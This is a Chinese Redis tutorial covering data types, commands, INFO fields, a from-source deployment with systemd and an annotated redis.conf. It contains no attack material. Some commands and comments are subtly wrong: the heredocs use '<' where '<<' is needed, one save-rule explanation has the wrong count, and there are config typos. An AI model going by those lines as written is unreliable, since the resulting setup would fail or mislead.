Redis

一、Redis简介

Redis 是一种开源(BSD 许可)、内存中数据结构存储,用作数据库、缓存和消息代理。 Redis 提供了数据结构,例如字符串、散列、列表、集合、带有范围查询的排序集合、位图、超级日志、地理空间索引和流。 Redis 内置复制、Lua 脚本、LRU 驱逐、事务和不同级别的磁盘持久化,并通过 Redis Sentinel 和 Redis Cluster 自动分区提供高可用性。

二、Redis重要特性

  • 速度快,c语言编写,单线程架构
  • 支持多种数据结构(字符串、哈希、列表、集合、有序集合)
  • 丰富的功能(天然计数器、键过期功能、消息队列、发布订阅)
  • 支持客户端语言多(php、java、go、python)
  • 支持多种数据久化格式(RDB,AOF,混合持久化)
  • 自带多种高可用架构(主从,哨兵,集群)

三、Redis事务

MULTI、EXEC、DISCARD 和 WATCH 是 Redis 中事务的基础。 它们允许在一个步骤中执行一组命令,有两个重要保证:

  • 事务中的所有命令都被序列化并按顺序执行。 在 Redis 事务的执行过程中,永远不会发生另一个客户端发出的请求。 这保证了命令作为单个独立操作执行。
  • 要么处理所有命令,要么不处理任何命令,因此 Redis 事务也是原子的。 EXEC 命令触发事务中所有命令的执行,因此如果客户端在调用 EXEC 命令之前在事务上下文中失去与服务器的连接,则不会执行任何操作,而是如果调用 EXEC 命令,执行所有操作。 使用 append-only 文件时,Redis 确保使用单个 write(2) 系统调用将事务写入磁盘。 但是,如果 Redis 服务器崩溃或被系统管理员以某种方式杀死,则可能只注册了部分操作。 Redis 将在重新启动时检测到这种情况,并会出现错误退出。 使用 redis-check-aof 工具可以修复将删除部分事务的仅附加文件,以便服务器可以重新启动。

从 2.2 版开始,Redis 允许对上述两个提供额外的保证,以乐观锁定的形式,非常类似于检查和设置 (CAS) 操作。

用法如下:

使用 MULTI 命令输入 Redis 事务。 该命令始终回复 OK。 此时用户可以发出多个命令。 Redis 不会执行这些命令,而是将它们排队。 调用 EXEC 后,所有命令都会执行。调用 DISCARD 将刷新事务队列并退出事务。

> MULTI
OK
> INCR foo
QUEUED
> INCR bar
QUEUED
> EXEC
1) (integer) 1
2) (integer) 1

四、Redis基础命令

1、全局命令

auth [passwd]:进行身份验证(仅支持6.0以前版本)
exists [key]:是否存在指定的key
select [数据库下标]:选择数据库,数据库为0-15(一共16个数据库),默认进入的是0数据库
move [key] [数据库下标]:将当前数据中的key转移到其他数据库中
randomkey [key]:随机返回数据库里的一个key
rename [旧key名字] [新key名字]:重命名key
echo:打印命令
dbsize:查看数据库的key数量
info:获取数据库信息
config get *:返回所有配置
flushdb:清空当前数据库
flushall:清空所有数据库
keys *:返回满足的所有键(可以模糊查询)
expire [key] [时间]:设置某个key的过期时间,以秒为准
ttl [key]:查看key的过期时间(和expire联合使用)
persist [key]:取消过期时间
DEL [key]:删除key
quit:退出当前链接
reset:重新连接
client list:获取客户端列表
client kill [ip:port]:杀掉指定客户端链接

2、String命令

set [key] [value]:设置一个字符串类型key
setnx [key] [value]:如果设置的key不存在就进行设置,存在就不需要设置了
get [key]:取值
setrange [key] 10 [value]:替换字符串(10表示从第几位开始替换,因为是索引,所以下标从0开始)
mset [key1] [value1] [key2] [value2]...:设置多个key
mget [key1] [key2]...:获取多个key值
getset [key] [value]:返回旧值并设置新值
incr [key]:将key的值+1,如果key包含错误类型的值或包含不能表示为整数的字符串,则返回错误。如果该key不存在,则在执行操作前将其设置为0
decr [key]:将key的值-1,如果key包含错误类型的值或包含不能表示为整数的字符串,则返回错误。如果该key不存在,则在执行操作前将其设置为0
incrby [key] 5:按指定值增加key值,如果key包含错误类型的值或包含不能表示为整数的字符串,则返回错误。如果该key不存在,则在执行操作前将其设置为0
decrby [key] 5:按指定值减少key值,如果key包含错误类型的值或包含不能表示为整数的字符串,则返回错误。如果该key不存在,则在执行操作前将其设置为0
append [key] "hello":如果key已存在并且是字符串,则此命令将值附加到字符串的末尾。如果key不存在,则创建它并将其设置为空字符串
strlen [key]:获取值长度

3、Hash命令

hset [key] [field] [value]:设置一个hash类型key
hget [key] [field]:返回和字段关联的值
hgetall [key]:返回key中的字段及其值列表
hdel [key] [field1] [field2]...:删除key中指定的字段
hexists [key] [field]:key中是否有此字段
hkeys [key]:返回key中所有字段
hlen [key]:返回key中字段数量
hmset [key] [field1] [value1] [field2] [value2]...:设置多个字段hash类型key
hmget [key] [field1] [field2]...:获取多个字段值
hsetnx [key] [field] [value]:类似setnx
hstrlen [key] [field]:返回和字段关联的值长度
hvals [key]:返回key中的所有值

4、Lists命令

lpush [key] [element...]:将所有指定的值插入列表的头部,当key不存在时创建
lpushx [key] [element...]:当key存在时,将所有指定的值插入列表的头部。不存在时不进行任何操作
linsert [key] before|after [pivot] [element]:在指定列表元素前后插入值
lindex [key] [index]:获取指定列表索引的元素值
llen [key]:获取列表元素个数
lpop [key] [count]:从列表头部删除元素并返回存储在 key 的列表的第一个元素
lrange [key] [index] [index]:按索引范围获取元素
lset [key] [index] [element]:按指定索引替换元素
rpush [key] [element...]:将所有指定的值插入列表的尾部,当key不存在时创建
rpushx [key] [element...]:当key存在时,将所有指定的值插入列表的尾部。不存在时不进行任何操作
rpop [key] [count]:从列表尾部删除元素并返回存储在 key 的列表的第一个元素

5、set命令

sadd [key] [member...]:向key集合中添加元素,不允许添加重复元素,如果key不存在会创建集合
smembers [key]:获取集合中所有元素
srem [key] [member...]:删除集合中指定元素
spop [key] [count]:随机删除集合中的元素
sdiff [key1] [key2]:获取两个集合中不同的元素
sdiffstore [key] [key1] [key2]:获取key1和key2中不同的元素,将其存储在key中
smove [key1] [key2] [member]:将key1中指定的元素移到key2中
scard [key]:获取集合元素个数

五、Redis系统信息详解

  • server部分

    redis_version: Redis 服务器版本
    redis_git_sha1: Git SHA1
    redis_git_dirty: Git dirty flag
    redis_build_id: 构建ID
    redis_mode: 服务器模式(standalone,sentinel或者cluster)
    os: Redis 服务器的宿主操作系统
    arch_bits: 架构(32 或 64 位)
    multiplexing_api: Redis 所使用的事件处理机制
    atomicvar_api: Redis使用的Atomicvar API
    gcc_version: 编译 Redis 时所使用的 GCC 版本
    process_id: 服务器进程的 PID
    run_id: Redis 服务器的随机标识符(用于 Sentinel 和集群)
    tcp_port: TCP/IP 监听端口
    uptime_in_seconds: 自 Redis 服务器启动以来,经过的秒数
    uptime_in_days: 自 Redis 服务器启动以来,经过的天数
    hz: 服务器的频率设置
    lru_clock: 以分钟为单位进行自增的时钟,用于 LRU 管理
    executable: 服务器的可执行文件路径
    config_file: 配置文件路径
    
  • client部分

    connected_clients: 已连接客户端的数量(不包括通过从属服务器连接的客户端)
    client_longest_output_list: 当前连接的客户端当中,最长的输出列表
    client_biggest_input_buf: 当前连接的客户端当中,最大输入缓存
    blocked_clients: 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量
    
  • memory部分

    used_memory: 由 Redis 分配器分配的内存总量,以字节(byte)为单位
    used_memory_human: 以人类可读的格式返回 Redis 分配的内存总量
    used_memory_rss: 从操作系统的角度,返回 Redis 已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。
    used_memory_peak: Redis 的内存消耗峰值(以字节为单位)
    used_memory_peak_human: 以人类可读的格式返回 Redis 的内存消耗峰值
    used_memory_peak_perc: 使用内存占峰值内存的百分比
    used_memory_overhead: 服务器为管理其内部数据结构而分配的所有开销的总和(以字节为单位)
    used_memory_startup: Redis在启动时消耗的初始内存大小(以字节为单位)
    used_memory_dataset: 以字节为单位的数据集大小(used_memory减去used_memory_overhead)
    used_memory_dataset_perc: used_memory_dataset占净内存使用量的百分比(used_memory减去used_memory_startup)
    total_system_memory: Redis主机具有的内存总量
    total_system_memory_human: 以人类可读的格式返回 Redis主机具有的内存总量
    used_memory_lua: Lua 引擎所使用的内存大小(以字节为单位)
    used_memory_lua_human: 以人类可读的格式返回 Lua 引擎所使用的内存大小
    maxmemory: maxmemory配置指令的值
    maxmemory_human: 以人类可读的格式返回 maxmemory配置指令的值
    maxmemory_policy: maxmemory-policy配置指令的值
    mem_fragmentation_ratio: used_memory_rss 和 used_memory 之间的比率
    mem_allocator: 在编译时指定的, Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。
    active_defrag_running: 指示活动碎片整理是否处于活动状态的标志
    lazyfree_pending_objects: 等待释放的对象数(由于使用ASYNC选项调用UNLINK或FLUSHDB和FLUSHALL)
    在理想情况下, used_memory_rss 的值应该只比 used_memory 稍微高一点儿。
    当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。
    内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。
    当 used > rss 时,表示 Redis 的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。
    由于Redis无法控制其分配的内存如何映射到内存页,因此常住内存(used_memory_rss)很高通常是内存使用量激增的结果。
    当 Redis 释放内存时,内存将返回给分配器,分配器可能会,也可能不会,将内存返还给操作系统。
    如果 Redis 释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。
    查看 used_memory_peak 的值可以验证这种情况是否发生。
    
  • 持久化部分

    loading: 指示转储文件(dump)的加载是否正在进行的标志
    rdb_changes_since_last_save: 自上次转储以来的更改次数
    rdb_bgsave_in_progress: 指示RDB文件是否正在保存的标志
    rdb_last_save_time: 上次成功保存RDB的基于纪年的时间戳
    rdb_last_bgsave_status: 上次RDB保存操作的状态
    rdb_last_bgsave_time_sec: 上次RDB保存操作的持续时间(以秒为单位)
    rdb_current_bgsave_time_sec: 正在进行的RDB保存操作的持续时间(如果有)
    rdb_last_cow_size: 上次RDB保存操作期间copy-on-write分配的字节大小
    aof_enabled: 表示AOF记录已激活的标志
    aof_rewrite_in_progress: 表示AOF重写操作正在进行的标志
    aof_rewrite_scheduled: 表示一旦进行中的RDB保存操作完成,就会安排进行AOF重写操作的标志
    aof_last_rewrite_time_sec: 上次AOF重写操作的持续时间,以秒为单位
    aof_current_rewrite_time_sec: 正在进行的AOF重写操作的持续时间(如果有)
    aof_last_bgrewrite_status: 上次AOF重写操作的状态
    aof_last_write_status: 上一次AOF写入操作的状态
    aof_last_cow_size: 上次AOF重写操作期间copy-on-write分配的字节大
    aof_current_size: 当前的AOF文件大小
    aof_base_size: 上次启动或重写时的AOF文件大小
    aof_pending_rewrite: 指示AOF重写操作是否会在当前RDB保存操作完成后立即执行的标志。
    aof_buffer_length: AOF缓冲区大小
    aof_rewrite_buffer_length: AOF重写缓冲区大小
    aof_pending_bio_fsync: 在后台IO队列中等待fsync处理的任务数
    aof_delayed_fsync: 延迟fsync计数器
    
  • 加载操作部分

    loading_start_time: 加载操作的开始时间(基于纪元的时间戳)
    loading_total_bytes: 文件总大小
    loading_loaded_bytes: 已经加载的字节数
    loading_loaded_perc: 已经加载的百分比
    loading_eta_seconds: 预计加载完成所需的剩余秒数
    
  • stats部分

    total_connections_received: 服务器接受的连接总数
    total_commands_processed: 服务器处理的命令总数
    instantaneous_ops_per_sec: 每秒处理的命令数
    rejected_connections: 由于maxclients限制而拒绝的连接数
    expired_keys: key到期事件的总数
    evicted_keys: 由于maxmemory限制而导致被驱逐的key的数量
    keyspace_hits: 在主字典中成功查找到key的次数
    keyspace_misses: 在主字典中查找key失败的次数
    pubsub_channels: 拥有客户端订阅的全局pub/sub通道数
    pubsub_patterns: 拥有客户端订阅的全局pub/sub模式数
    latest_fork_usec: 最新fork操作的持续时间,以微秒为单位
    
  • replication部分

    role: 如果实例不是任何节点的从节点,则值是”master”,如果实例从某个节点同步数据,则是”slave”。 请注意,一个从节点可以是另一个从节点的主节点(菊花链)。
    如果实例是从节点,则会提供以下这些额外字段:
    
    master_host: 主节点的Host名称或IP地址
    master_port: 主节点监听的TCP端口
    master_link_status: 连接状态(up或者down)
    master_last_io_seconds_ago: 自上次与主节点交互以来,经过的秒数
    master_sync_in_progress: 指示主节点正在与从节点同步
    如果SYNC操作正在进行,则会提供以下这些字段:
    
    master_sync_left_bytes: 同步完成前剩余的字节数
    master_sync_last_io_seconds_ago: 在SYNC操作期间自上次传输IO以来的秒数
    如果主从节点之间的连接断开了,则会提供一个额外的字段:
    
    master_link_down_since_seconds: 自连接断开以来,经过的秒数
    以下字段将始终提供:
    
    connected_slaves: 已连接的从节点数
    对每个从节点,将会添加以下行:
    
    slaveXXX: id,地址,端口号,状态
    
  • CPU部分

    used_cpu_sys: 由Redis服务器消耗的系统CPU
    used_cpu_user: 由Redis服务器消耗的用户CPU
    used_cpu_sys_children: 由后台进程消耗的系统CPU
    used_cpu_user_children: 由后台进程消耗的用户CPU
    

六、部署步骤

  • 安装软件
$ cd /usr/local/src && wget http://download.redis.io/releases/redis-5.0.7.tar.gz
$ tar zxf redis-5.0.7.tar.gz
$ mkdir /usr/local/redis-5.0.7 && cd redis-5.0.7
$ make distclean && make && make PREFIX=/usr/local/redis-5.0.7 install
  • 创建配置文件及数据目录
$ mkdir -p /usr/local/redis-5.0.7/{conf,logs} 
$ mkdir -p /data/redis
$ cat > /usr/local/redis-5.0.7/conf/redis.conf <'EOF'
daemonize yes
pidfile /var/run/redis.pid
port 6379
tcp-backlog 511
timeout 0
tcp-keepalive 0
loglevel notice
logfile "/usr/local/redis-5.0.7/logs/redis.log"
databases 16
save 900 1
save 300 10
save 60 10000
stop-writes-on-bgsave-error yes
rdbcompression yes
rdbchecksum yes
dbfilename dump.rdb
dir /data/redis
slave-serve-stale-data yes
slave-read-only yes
repl-disable-tcp-nodelay no
slave-priority 100
appendonly no
appendfilename "appendonly.aof"
appendfsync everysec
no-appendfsync-on-rewrite no
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
lua-time-limit 5000
slowlog-log-slower-than 10000
slowlog-max-len 128
notify-keyspace-events ""
hash-max-ziplist-entries 512
hash-max-ziplist-value 64
list-max-ziplist-entries 512
list-max-ziplist-value 64
set-max-intset-entries 512
zset-max-ziplist-entries 128
zset-max-ziplist-value 64
hll-sparse-max-bytes 3000
activerehashing yes
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit slave 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60
hz 10
aof-rewrite-incremental-fsync yes
bind 0.0.0.0
requirepass z8_UX7BCi_XYckrM
EOF
  • 创建程序用户并授权
$ groupadd redis
$ useradd -g redis -M -s /sbin/nologin redis
$ chown -R redis. /data/redis
$ chown -R redis. /usr/local/redis-5.0.7
  • 设置systemd管理
$ cat > /etc/systemd/system/redis.service <'EOF'
[Unit]
Description=Redis persistent key-value database
After=network.target

[Service]
ExecStart=/usr/local/redis-5.0.7/bin/redis-server /usr/local/redis-5.0.7/conf/redis.conf --supervised systemd
ExecStop=/usr/local/redis-5.0.7/bin/redis-cli shutdown
Type=notify
User=redis
Group=redis
RuntimeDirectory=redis
RuntimeDirectoryMode=0755
LimitNOFILE=65535

[Install]
WantedBy=multi-user.target
EOF
$ systemctl daemon-reload 
$ systemctl start redis
$ systemctl enable redis
  • 优化告警

警告:

WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.

解决:

sysctl vm.overcommit_memory=1

警告:

WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
17068:M 23 Jun 2020 10:23:55.707 * Ready to accept connections

解决:

echo never > /sys/kernel/mm/transparent_hugepage/enabled

警告:

WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.

解决:

echo "511" > /proc/sys/net/core/somaxconn 
sysctl net.core.somaxconn= 4096

七、配置文件详解

# daemonize no  默认情况下, redis 不是在后台运行的,如果需要在后台运行,把该项的值更改为 yes
daemonize yes
# 当redis在后台运行的时候, Redis默认会把pid文件放在 /var/run/redis.pid ,你可以配置到其他地址。
# 当运行多个redis服务时,需要指定不同的 pid 文件和端口
pidfile /var/run/redis_6379.pid
# 指定redis运行的端口,默认是 6379
port 6379
#  在高并发的环境中,为避免慢客户端的连接问题,需要设置一个高速后台日志
tcp-backlog 511
#  指定 redis 只接收来自于该 IP 地址的请求,如果不进行设置,那么将处理所有请求
bind 192.168.1.100 10.0.0.1
bind 127.0.0.1
#  设置客户端连接时的超时时间,单位为秒。当客户端在这段时间内没有发出任何指令,那么关闭该连接
# 0 是关闭此设置
timeout 0
# TCP keepalive
#  在 Linux 上,指定值(秒)用于发送 ACKs 的时间。注意关闭连接需要双倍的时间。默认为 0 。
tcp-keepalive 0
#  指定日志记录级别,生产环境推荐 notice
# Redis 总共支持四个级别: debug 、 verbose 、 notice 、 warning ,默认为 verbose
# debug     记录很多信息,用于开发和测试
# varbose   有用的信息,不像 debug 会记录那么多
# notice    普通的 verbose ,常用于生产环境
# warning   只有非常重要或者严重的信息会记录到日志
loglevel notice
#  配置 log 文件地址
#  默认值为 stdout ,标准输出,若后台模式会输出到 /dev/null 。
logfile /var/log/redis/redis.log
#  可用数据库数
#  默认值为 16 ,默认数据库为 0 ,数据库范围在 0- ( database-1 )之间
databases 16
################################ 快照#################################
#  保存数据到磁盘,格式如下 :
#   save  
#    指出在多长时间内,有多少次更新操作,就将数据同步到数据文件 rdb 。
#    相当于条件触发抓取快照,这个可以多个条件配合
#    比如默认配置文件中的设置,就设置了三个条件
#   save 900 1  900 秒内至少有 1 个 key 被改变
#   save 300 10  300 秒内至少有 300 个 key 被改变
#   save 60 10000  60 秒内至少有 10000 个 key 被改变
# save 900 1
# save 300 10
# save 60 10000
#  后台存储错误停止写。
stop-writes-on-bgsave-error yes
#  存储至本地数据库时(持久化到 rdb 文件)是否压缩数据,默认为 yes
rdbcompression yes
# RDB 文件的是否直接偶像 chcksum
rdbchecksum yes
#  本地持久化数据库文件名,默认值为 dump.rdb
dbfilename dump.rdb
#  工作目录
#  数据库镜像备份的文件放置的路径。
#  这里的路径跟文件名要分开配置是因为 redis 在进行备份时,先会将当前数据库的状态写入到一个临时文件中,等备份完成,
#  再把该该临时文件替换为上面所指定的文件,而这里的临时文件和上面所配置的备份文件都会放在这个指定的路径当中。
# AOF 文件也会存放在这个目录下面
#  注意这里必须制定一个目录而不是文件
dir /var/lib/redis-server/
################################# 复制 #################################
#  主从复制 . 设置该数据库为其他数据库的从数据库 .
#  设置当本机为 slav 服务时,设置 master 服务的 IP 地址及端口,在 Redis 启动时,它会自动从 master 进行数据同步
# slaveof 
#  当 master 服务设置了密码保护时 ( 用 requirepass 制定的密码 )
# slave 服务连接 master 的密码
# masterauth 
#  当从库同主机失去连接或者复制正在进行,从机库有两种运行方式:
# 1)  如果 slave-serve-stale-data 设置为 yes( 默认设置 ) ,从库会继续响应客户端的请求
# 2)  如果 slave-serve-stale-data 是指为 no ,出去 INFO 和 SLAVOF 命令之外的任何请求都会返回一个
#     错误 "SYNC with master in progress"
slave-serve-stale-data yes
#  配置 slave 实例是否接受写。写 slave 对存储短暂数据(在同 master 数据同步后可以很容易地被删除)是有用的,但未配置的情况下,客户端写可能会发送问题。
#  从 Redis2.6 后,默认 slave 为 read-only
slaveread-only yes

#  从库会按照一个时间间隔向主库发送 PINGs. 可以通过 repl-ping-slave-period 设置这个时间间隔,默认是 10 秒
# repl-ping-slave-period 10
# repl-timeout  设置主库批量数据传输时间或者 ping 回复时间间隔,默认值是 60 秒
#  一定要确保 repl-timeout 大于 repl-ping-slave-period
# repl-timeout 60
#  在 slave socket 的 SYNC 后禁用 TCP_NODELAY
#  如果选择“ yes ” ,Redis 将使用一个较小的数字 TCP 数据包和更少的带宽将数据发送到 slave , 但是这可能导致数据发送到 slave 端会有延迟 , 如果是 Linux kernel 的默认配置,会达到 40 毫秒 .
#  如果选择 "no" ,则发送数据到 slave 端的延迟会降低,但将使用更多的带宽用于复制 .
repl-disable-tcp-nodelay no
#  设置复制的后台日志大小。
#  复制的后台日志越大, slave 断开连接及后来可能执行部分复制花的时间就越长。
#  后台日志在至少有一个 slave 连接时,仅仅分配一次。
# repl-backlog-size 1mb
#  在 master 不再连接 slave 后,后台日志将被释放。下面的配置定义从最后一个 slave 断开连接后需要释放的时间(秒)。
# 0 意味着从不释放后台日志
# repl-backlog-ttl 3600
#  如果 master 不能再正常工作,那么会在多个 slave 中,选择优先值最小的一个 slave 提升为 master ,优先值为 0 表示不能提升为 master 。
slave-priority 100
#  如果少于 N 个 slave 连接,且延迟时间 <=M 秒,则 master 可配置停止接受写操作。
#  例如需要至少 3 个 slave 连接,且延迟 <=10 秒的配置:
# min-slaves-to-write 3
# min-slaves-max-lag 10
#  设置 0 为禁用
#   默认 min-slaves-to-write 为 0 (禁用), min-slaves-max-lag 为 10
################################## 安全 ###################################
#  设置客户端连接后进行任何其他指定前需要使用的密码。
#  警告:因为 redis 速度相当快,所以在一台比较好的服务器下,一个外部的用户可以在一秒钟进行 150K 次的密码尝试,这意味着你需要指定非常非常强大的密码来防止暴力破解
# requirepass foobared
#  命令重命名 .
#  在一个共享环境下可以重命名相对危险的命令。比如把 CONFIG 重名为一个不容易猜测的字符。
#  举例 :
# rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
#  如果想删除一个命令,直接把它重命名为一个空字符 "" 即可,如下:
# rename-command CONFIG ""
################################### 约束###################################
#设置同一时间最大客户端连接数,默认无限制, 
#Redis 可以同时打开的客户端连接数为 Redis 进程可以打开的最大文件描述符数,
#如果设置  maxclients 0 ,表示不作限制。
#当客户端连接数到达限制时, Redis 会关闭新的连接并向客户端返回 max number of clients reached 错误信息
# maxclients 10000
#  指定 Redis 最大内存限制, Redis 在启动时会把数据加载到内存中,达到最大内存后, Redis 会按照清除策略尝试清除已到期的 Key
#  如果 Redis 依照策略清除后无法提供足够空间,或者策略设置为 ”noeviction” ,则使用更多空间的命令将会报错,例如 SET, LPUSH 等。但仍然可以进行读取操作
#  注意: Redis 新的 vm 机制,会把 Key 存放内存, Value 会存放在 swap 区
#  该选项对 LRU 策略很有用。
# maxmemory 的设置比较适合于把 redis 当作于类似 memcached 的缓存来使用,而不适合当做一个真实的 DB 。
#  当把 Redis 当做一个真实的数据库使用的时候,内存使用将是一个很大的开销
# maxmemory 
#  当内存达到最大值的时候 Redis 会选择删除哪些数据?有五种方式可供选择
# volatile-lru ->  利用 LRU 算法移除设置过过期时间的 key (LRU: 最近使用  Least RecentlyUsed )
# allkeys-lru ->  利用 LRU 算法移除任何 key
# volatile-random ->  移除设置过过期时间的随机 key
# allkeys->random -> remove a randomkey, any key
# volatile-ttl ->  移除即将过期的 key(minor TTL)
# noeviction ->  不移除任何可以,只是返回一个写错误
#  注意:对于上面的策略,如果没有合适的 key 可以移除,当写的时候 Redis 会返回一个错误
#  默认是 :  volatile-lru
# maxmemory-policy volatile-lru  
# LRU  和  minimal TTL 算法都不是精准的算法,但是相对精确的算法 ( 为了节省内存 ) ,随意你可以选择样本大小进行检测。
# Redis 默认的灰选择 3 个样本进行检测,你可以通过 maxmemory-samples 进行设置
# maxmemory-samples 3
############################## AOF###############################
#  默认情况下, redis 会在后台异步的把数据库镜像备份到磁盘,但是该备份是非常耗时的,而且备份也不能很频繁,如果发生诸如拉闸限电、拔插头等状况,那么将造成比较大范围的数据丢失。
#  所以 redis 提供了另外一种更加高效的数据库备份及灾难恢复方式。
#  开启 append only 模式之后, redis 会把所接收到的每一次写操作请求都追加到 appendonly.aof 文件中,当 redis 重新启动时,会从该文件恢复出之前的状态。
#  但是这样会造成 appendonly.aof 文件过大,所以 redis 还支持了 BGREWRITEAOF 指令,对 appendonly.aof 进行重新整理。
#  你可以同时开启 asynchronous dumps 和  AOF
appendonly no
# AOF 文件名称  ( 默认 : "appendonly.aof")
# appendfilename appendonly.aof
# Redis 支持三种同步 AOF 文件的策略 :
# no:  不进行同步,系统去操作  . Faster.
# always: always 表示每次有写操作都进行同步 . Slow, Safest.
# everysec:  表示对写操作进行累积,每秒同步一次 . Compromise.
#  默认是 "everysec" ,按照速度和安全折中这是最好的。
#  如果想让 Redis 能更高效的运行,你也可以设置为 "no" ,让操作系统决定什么时候去执行
#  或者相反想让数据更安全你也可以设置为 "always"
#  如果不确定就用  "everysec".
# appendfsync always
appendfsync everysec
# appendfsync no
# AOF 策略设置为 always 或者 everysec 时,后台处理进程 ( 后台保存或者 AOF 日志重写 ) 会执行大量的 I/O 操作
#  在某些 Linux 配置中会阻止过长的 fsync() 请求。注意现在没有任何修复,即使 fsync 在另外一个线程进行处理
#  为了减缓这个问题,可以设置下面这个参数 no-appendfsync-on-rewrite
no-appendfsync-on-rewrite no
# AOF  自动重写
#  当 AOF 文件增长到一定大小的时候 Redis 能够调用  BGREWRITEAOF  对日志文件进行重写
#  它是这样工作的: Redis 会记住上次进行些日志后文件的大小 ( 如果从开机以来还没进行过重写,那日子大小在开机的时候确定 )
#  基础大小会同现在的大小进行比较。如果现在的大小比基础大小大制定的百分比,重写功能将启动
#  同时需要指定一个最小大小用于 AOF 重写,这个用于阻止即使文件很小但是增长幅度很大也去重写 AOF 文件的情况
#  设置  percentage 为 0 就关闭这个特性
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
################################ LUASCRIPTING #############################
# 一个 Lua 脚本最长的执行时间为 5000 毫秒( 5 秒),如果为 0 或负数表示无限执行时间。
lua-time-limit 5000
################################LOW LOG################################
# Redis Slow Log  记录超过特定执行时间的命令。执行时间不包括 I/O 计算比如连接客户端,返回结果等,只是命令执行时间
#  可以通过两个参数设置 slow log :一个是告诉 Redis 执行超过多少时间被记录的参数 slowlog-log-slower-than( 微妙 ) ,
#  另一个是 slow log 的长度。当一个新命令被记录的时候最早的命令将被从队列中移除
#  下面的时间以微妙为单位,因此 1000000 代表一秒。
#  注意指定一个负数将关闭慢日志,而设置为 0 将强制每个命令都会记录
slowlog-log-slower-than 10000
#  对日志长度没有限制,只是要注意它会消耗内存
#  可以通过  SLOWLOG RESET 回收被慢日志消耗的内存
#  推荐使用默认值 128 ,当慢日志超过 128 时,最先进入队列的记录会被踢出
slowlog-max-len 128
################################  事件通知  #############################
#  当事件发生时, Redis 可以通知 Pub/Sub 客户端。
#  可以在下表中选择 Redis 要通知的事件类型。事件类型由单个字符来标识:
# K     Keyspace 事件,以 _keyspace@_ 的前缀方式发布
# E     Keyevent 事件,以 _keysevent@_ 的前缀方式发布
# g     通用事件(不指定类型),像 DEL, EXPIRE, RENAME, …
# $     String 命令
# s     Set 命令
# h     Hash 命令
# z     有序集合命令
# x     过期事件(每次 key 过期时生成)
# e     清除事件(当 key 在内存被清除时生成)
# A     g$lshzxe 的别称,因此 ”AKE” 意味着所有的事件
# notify-keyspace-events 带一个由 0 到多个字符组成的字符串参数。空字符串意思是通知被禁用。
#  例子:启用 list 和通用事件:
# notify-keyspace-events Elg
#  默认所用的通知被禁用,因为用户通常不需要改特性,并且该特性会有性能损耗。
#  注意如果你不指定至少 K 或 E 之一,不会发送任何事件。
notify-keyspace-events “”
##############################  高级配置  ###############################
#  当 hash 中包含超过指定元素个数并且最大的元素没有超过临界时,
# hash 将以一种特殊的编码方式(大大减少内存使用)来存储,这里可以设置这两个临界值
# Redis Hash 对应 Value 内部实际就是一个 HashMap ,实际这里会有 2 种不同实现,
#  这个 Hash 的成员比较少时 Redis 为了节省内存会采用类似一维数组的方式来紧凑存储,而不会采用真正的 HashMap 结构,对应的 valueredisObject 的 encoding 为 zipmap,
#  当成员数量增大时会自动转成真正的 HashMap, 此时 encoding 为 ht 。
hash-max-zipmap-entries 512
hash-max-zipmap-value 64  
#  和 Hash 一样,多个小的 list 以特定的方式编码来节省空间。
# list 数据类型节点值大小小于多少字节会采用紧凑存储格式。
list-max-ziplist-entries 512
list-max-ziplist-value 64
# set 数据类型内部数据如果全部是数值型,且包含多少节点以下会采用紧凑格式存储。
set-max-intset-entries 512
#  和 hashe 和 list 一样 , 排序的 set 在指定的长度内以指定编码方式存储以节省空间
# zsort 数据类型节点值大小小于多少字节会采用紧凑存储格式。
zset-max-ziplist-entries 128
zset-max-ziplist-value 64
# Redis 将在每 100 毫秒时使用 1 毫秒的 CPU 时间来对 redis 的 hash 表进行重新 hash ,可以降低内存的使用
#  当你的使用场景中,有非常严格的实时性需要,不能够接受 Redis 时不时的对请求有 2 毫秒的延迟的话,把这项配置为 no 。
#  如果没有这么严格的实时性要求,可以设置为 yes ,以便能够尽可能快的释放内存
activerehashing yes
# 客户端的输出缓冲区的限制,因为某种原因客户端从服务器读取数据的速度不够快,
# 可用于强制断开连接(一个常见的原因是一个发布 / 订阅客户端消费消息的速度无法赶上生产它们的速度)。
#  可以三种不同客户端的方式进行设置:
# normal ->  正常客户端
# slave  -> slave 和 MONITOR 客户端
# pubsub ->  至少订阅了一个 pubsub channel 或 pattern 的客户端
#  每个 client-output-buffer-limit 语法 :
# client-output-buffer-limit   
#  一旦达到硬限制客户端会立即断开,或者达到软限制并保持达成的指定秒数(连续)。
#  例如,如果硬限制为 32 兆字节和软限制为 16 兆字节 /10 秒,客户端将会立即断开
#  如果输出缓冲区的大小达到 32 兆字节,客户端达到 16 兆字节和连续超过了限制 10 秒,也将断开连接。
#  默认 normal 客户端不做限制,因为他们在一个请求后未要求时(以推的方式)不接收数据,
#  只有异步客户端可能会出现请求数据的速度比它可以读取的速度快的场景。
#  把硬限制和软限制都设置为 0 来禁用该特性
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit slave 256mb 64mb60
client-output-buffer-limit pubsub 32mb 8mb60
# Redis 调用内部函数来执行许多后台任务,如关闭客户端超时的连接,清除过期的 Key ,等等。
#  不是所有的任务都以相同的频率执行,但 Redis 依照指定的“ Hz ”值来执行检查任务。
